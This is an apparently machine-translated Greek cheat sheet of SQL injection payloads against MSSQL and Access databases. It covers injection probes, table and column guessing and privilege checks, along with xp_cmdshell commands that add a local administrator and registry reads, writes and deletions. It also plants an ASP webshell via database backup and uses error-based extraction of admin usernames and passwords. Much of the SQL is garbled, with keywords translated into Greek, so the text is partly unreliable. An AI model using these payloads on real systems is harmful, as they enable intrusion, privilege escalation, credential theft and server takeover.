1. Προσδιορίστε εάν υπάρχει ένεση ; και 1=1 ; και 1=2
2. Προκαταρκτική κρίση αν πρόκειται για mssql ; και χρήστη>0
3. Κρίνετε το σύστημα βάσης δεδομένων ; και (επιλέξτε count(*) από sysobjects)>0 mssql ; και (επιλέξτε count(*) από msysobjects)>0 πρόσβαση
4. Η παράμετρος έγχυσης είναι ένας χαρακτήρας 'και [κριτήρια ερωτήματος] και ''='
5. Δεν υπάρχουν φιλτραρισμένες παράμετροι κατά την αναζήτηση 'και [κριτήρια ερωτήματος] και '%25'='
6. Μαντέψτε το όνομα του πίνακα ; και (επιλέξτε Count(*) από [όνομα πίνακα])>0
7. Μαντέψτε το πεδίο ; και (επιλέξτε Πλήθος(όνομα πεδίου) από το όνομα πίνακα)>0
8. Μαντέψτε το μήκος της εγγραφής στο πεδίο ; και (επιλέξτε top 1 len (όνομα πεδίου) από το όνομα πίνακα)>0
9. (1) Μαντέψτε την τιμή ASCII του πεδίου (πρόσβαση) ; και (επιλέξτε top 1 asc(mid(όνομα πεδίου, 1,1)) από το όνομα πίνακα)>0
(2) Μαντέψτε την τιμή ASCII του πεδίου (mssql) ; και (επιλέξτε το κορυφαίο 1 unicode(υποσυμβολοσειρά(όνομα πεδίου, 1,1)) από το όνομα πίνακα)>0
10. Δομή άδειας δοκιμής (mssql) ; και 1=(επιλέξτε IS_SRVROLEMEMBER('sysadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('serveradmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('setupadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('securityadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('diskadmin')); -- ; και 1=(επιλέξτε IS_SRVROLEMEMBER('bulkadmin')); -- ; και 1=(επιλέξτε IS_MEMBER('db_owner')); --
11. Προσθέστε έναν λογαριασμό για το mssql και το σύστημα ; exec master.dbo.sp_addlogin όνομα χρήστη. -- ; exec master.dbo.sp_password null, όνομα χρήστη, κωδικός πρόσβασης. -- ; exec master.dbo.sp_addsrvrolemember όνομα χρήστη sysadmin. -- ; exec master.dbo.xp_cmdshell 'καθαρός κωδικός πρόσβασης ονόματος χρήστη /σταθμοί εργασίας:* /times:all /passwordchg:ναι /passwordreq:ναι /active:ναι /add'; -- ; exec master.dbo.xp_cmdshell 'καθαρό όνομα χρήστη κωδικός πρόσβασης /προσθήκη'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Διασχίστε τον κατάλογο ; δημιουργία πίνακα dirs(paths varchar(100), id int) ; εισαγάγετε το dirs exec master.dbo.xp_dirtree 'c:\' ; και (επιλέξτε τις κορυφαίες 1 διαδρομές από τις οδηγίες)>0 ; και (επιλέξτε τις κορυφαίες 1 διαδρομές από τις κατευθύνσεις όπου οι διαδρομές δεν περιλαμβάνονται ('διαδρομές που ελήφθησαν από το προηγούμενο βήμα'))>)
(2) Διασχίστε τον κατάλογο ; δημιουργία θερμοκρασίας πίνακα(αναγνωριστικό nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; εισαγωγή temp exec master.dbo.xp_availablemedia; -- Λάβετε όλες τις τρέχουσες μονάδες δίσκου ; εισαγωγή στο temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Λάβετε μια λίστα με υποκαταλόγους ; εισαγωγή στο temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Λάβετε τη δομή δέντρου καταλόγου για όλους τους υποκαταλόγους ; εισαγωγή στο temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Δείτε τα περιεχόμενα του αρχείου
13. Αποθηκευμένες διαδικασίες στο mssql xp_regenumvalues Κλειδί ρίζας μητρώου, θυγατρικό κλειδί ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' επιστρέφει όλες τις τιμές κλειδιών σε πολλά σύνολα εγγραφών xp_regread Κλειδί ρίζας, θυγατρικό κλειδί, όνομα κλειδιού-τιμής ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' επιστρέφει την τιμή του κλειδιού set xp_regwrite Κλειδί ρίζας, θυγατρικό κλειδί, όνομα τιμής, τύπος τιμής, τιμή Υπάρχουν δύο τύποι τύπων τιμών REG_SZ REG_DWORD για τύπους χαρακτήρων και για ακέραιους αριθμούς ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' στο μητρώο xp_regdeletevalue Κλειδί ρίζας, δευτερεύον κλειδί, όνομα τιμής exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' για να καταργήσετε μια τιμή xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' για να αφαιρέσετε το κλειδί, συμπεριλαμβανομένων όλων των τιμών κάτω από αυτό το κλειδί
14. Το MSSQL Backup δημιουργεί ένα webshell Χρησιμοποιήστε το μοντέλο δημιουργία πίνακα cmd (εικόνα str); εισαγωγή τιμών cmd(str) («<% Dim oScript %>»)· εφεδρικό μοντέλο βάσης δεδομένων στο disk='c:\l.asp';
15. Ενσωματωμένες λειτουργίες MSSQL ; και (επιλέξτε @@version)>0 για να λάβετε τον αριθμό έκδοσης των Windows ; και user_name()='dbo' για να προσδιοριστεί αν ο συνδεδεμένος χρήστης του τρέχοντος συστήματος είναι SA ; και (επιλέξτε user_name())>0 Εξερράγησαν οι συνδεδεμένοι χρήστες του τρέχοντος συστήματος ; και (επιλέξτε db_name())>0 για να λάβετε την τρέχουσα συνδεδεμένη βάση δεδομένων
Παραβίαση βάσης δεδομένων με σχολιασμό MSSQL
1. Εκθέστε το τρέχον όνομα πίνακα και το όνομα της στήλης Υποβάλετε "'έχοντας 1=1--" μετά το σημείο έγχυσης για να λάβετε το μήνυμα επιστροφής στα Αγγλικά, στο οποίο μπορείτε να δείτε ένα όνομα πίνακα και ένα όνομα στήλης. Υποβάλετε "ομάδα με το όνομα της λίστας που έχει 1=1--" για να λάβετε ένα άλλο όνομα στήλης. Συνεχίστε να υποβάλλετε "ομάδα με τη λίστα του ονόματος του εκτεθειμένου πίνακα, το όνομα του εκτεθειμένου πίνακα. Το όνομα της δεύτερης στήλης έχει 1=1--", το οποίο σας δίνει ένα άλλο όνομα στήλης. Υποβάλετε με τον ίδιο τρόπο έως ότου η σελίδα δεν επιστρέφει πλέον μηνύματα σφάλματος για να λάβετε όλα τα ονόματα στηλών. Trivia: Τα βίαια ονόματα πινάκων και στηλών χρησιμοποιούνται σε συνδυασμό με το GROUP BY σε δηλώσεις SQL για τη λήψη αποφάσεων υπό όρους. Επειδή η πρόταση δεν είναι πλήρης, η βάση δεδομένων επιστρέφει ένα μήνυμα σφάλματος και εμφανίζει ένα όνομα πίνακα και ένα όνομα στήλης. Η βασική μέθοδος μπορεί να εκθέσει μόνο τον τρέχοντα πίνακα στη βάση δεδομένων και εάν ένας πίνακας περιέχει πολλά ονόματα στηλών, είναι πολύ δύσκολο να χρησιμοποιήσετε τη βασική μέθοδο.
Πρώτα. Όλα τα ονόματα των βάσεων δεδομένων είναι εκτεθειμένα Χρησιμοποιήστε τη δήλωση "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])" για να εκθέσετε αυθαίρετα ονόματα πινάκων και στηλών στη βάση δεδομένων, όπου το "[N]" αντιπροσωπεύει τον Nο πίνακα στη βάση δεδομένων. Βήμα 1: Μετά την εισαγωγή του σημείου, υποβάλετε την ακόλουθη δήλωση: "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)", επειδή η τιμή του dbid είναι από 1 έως 5, το οποίο χρησιμοποιείται από το σύστημα, επομένως ο χρήστης πρέπει να το έχει δημιουργήσει από το 6 και υποβάλαμε το όνομα>1, το πεδίο ονόματος είναι ένα πεδίο τύπου χαρακτήρων και η σύγκριση αριθμών θα είναι λανθασμένη, επομένως μετά την υποβολή, ο IE θα επιστρέψει τις ακόλουθες πληροφορίες: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] μετατρέπει την τιμή nvarchar 'Northwind' σε τύπο δεδομένων int στήλη. Με αυτόν τον τρόπο, εκτίθεται η τιμή του πεδίου ονόματος, δηλαδή παίρνουμε ένα όνομα βάσης δεδομένων "Northwind". Η αλλαγή της τιμής του "dbid" μπορεί να λάβει όλα τα ονόματα της βάσης δεδομένων.
και 0<>(επιλέξτε count(*) από τις βάσεις δεδομένων master.dbo.sys όπου name>1 και dbid=[N])-- Τροποποιήστε το N για να εκραγούν όλα τα ονόματα βάσεων δεδομένων από το 6
Δεύτερος. Εκθέστε όλα τα ονόματα πινάκων στην καθορισμένη βάση δεδομένων Αφού λάβετε το όνομα της βάσης δεδομένων, τώρα πρέπει να λάβετε όλα τα ονόματα πινάκων στη βιβλιοθήκη, να υποβάλετε την ακόλουθη δήλωση: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", εδώ είναι το όνομα του πίνακα στην κύρια βάση δεδομένων και η δήλωση SQL του ερωτήματος επιστρέφει την τιμή του ονόματος και, στη συνέχεια, συγκρίνετε την με τον αριθμό 0, έτσι ώστε η τιμή του ονόματος να εκτεθεί. Μετά την υποβολή, το όνομα του πίνακα ήταν "'spt_monito" εκτέθηκε. Στη συνέχεια, εκτίθενται οι άλλοι πίνακες και υποβάλλεται η ακόλουθη δήλωση: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))", και εκτίθεται ένας άλλος πίνακας με το όνομα "cd512". Αρχείο "και όνομα not in(' spt_monito',' CD512',..))" Μπορείτε να μάθετε όλα τα ονόματα των τραπεζιών.
και 0<>(επιλέξτε το κορυφαίο 1 όνομα από [καθορίστε το όνομα της βάσης δεδομένων].dbo.sysobjects όπου xtype='U')-- και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το [καθορίστε το όνομα της βάσης δεδομένων].dbo.sysobjects όπου xtype='U' και το όνομα δεν είναι in('[Exploded table name]'))-- και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το [specify database name].dbo.sysobjects όπου xtype='U' και το name not in('[Εκρηκτικό όνομα πίνακα]', '[Exploded second table name]')))--
4. Εκθέστε όλα τα ονόματα στηλών στον καθορισμένο πίνακα και 0<>(επιλέξτε count(*) από bbs.dbo.sysobjects όπου xtype='U' και name='admin' και uid>(str(id))) Μετατρέψτε την τιμή ID σε τύπο χαρακτήρων και, στη συνέχεια, συγκρίνετε την με μια ακέραια τιμή. Ο αριθμός ταυτότητας έχει βγει. Η τιμή είναι: 949578421 name='table name'
και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το wutong.dbo.syscolumns όπου id=949578421)-- Εμφανίζεται ένα όνομα πεδίου στον πίνακα διαχείρισης
Εκ νέου υποβολή και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το wutong.dbo.syscolumns όπου id=949578421 και το όνομα δεν είναι in('adduser')))-- Αρχείο "και όνομα not in(' spt_monito',' CD512',..))" Μπορείτε να βρείτε όλα τα ονόματα πεδίων στον πίνακα διαχείρισης.
και 0<>(επιλέξτε count(*) από [καθορίστε το όνομα της βάσης δεδομένων].dbo.sysobjects όπου xtype='U' και name='[Όνομα πίνακα του πεδίου που θα εκραγεί]' και uid>(str(id)))--Η τιμή ID του ονόματος πίνακα του πεδίου που πρόκειται να εκραγεί
και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το [specify database name].dbo.syscolumns όπου id=exploded id value)-- Το όνομα ενός πεδίου στον πίνακα exploding id value
και 0<>(επιλέξτε το κορυφαίο 1 όνομα από το [καθορίστε το όνομα της βάσης δεδομένων].dbo.syscolumns όπου id=Εκρηκτική τιμή id και το όνομα δεν είναι in('[Exploded field name]'))--
5. Διαβάστε τα δεδομένα στον καθορισμένο πίνακα
και 0<(επιλέξτε A_ID από το wutong.dbo.admin όπου A_UserID>1) -- το περιεχόμενο που έσπασε A_PWD
και 0<(επιλέξτε [ένα πεδίο που υπάρχει] από [καθορίστε το όνομα της βάσης δεδομένων].dbo.[όνομα πίνακα για ερώτημα] όπου [όνομα πεδίου για έκρηξη περιεχομένου]>1)--
και 0<(επιλέξτε A_ID από το wutong.dbo.admin όπου A_PWD>1 και A_UserID='admin')-- Ο κωδικός πρόσβασης του διαχειριστή είναι εκτεθειμένος
και 0<(Επιλέξτε Top 1 A_UserID FROM admin όπου A_ID<>1)-- Το όνομα διαχειριστή του id<>1 (fuhao)
και 0<(Επιλέξτε Top 1 A_UserID FROM admin όπου A_ID <>1 και A_UserID <> 'fuhao')-- Το όνομα του δεύτερου διαχειριστή δεν <> ίσο με (tuiguang)
και 0<(Επιλέξτε Top 1 A_UserID ΑΠΟ admin όπου A_ID <>1 και A_UserID <> 'fuhao' και A_UserID <> 'tuiguang')--
Αφού μάθετε το όνομα του πίνακα και το όνομα της στήλης της βάσης δεδομένων, μπορείτε να χρησιμοποιήσετε τη "δήλωση ερωτήματος" για να διαβάσετε οποιαδήποτε πληροφορία στη βάση δεδομένων. Για παράδειγμα, εάν θέλετε να διαβάσετε τα Nth δεδομένα σε μια στήλη σε έναν πίνακα, μπορείτε να υποβάλετε τη δήλωση: "and (Select Top 1 column name FROM table name όπου id=[N])>1" ([N] αντιπροσωπεύει τα Nth δεδομένα στη στήλη) και μπορείτε να γνωρίζετε τα επιθυμητά δεδομένα από τις πληροφορίες που επιστρέφονται από τον IE.
|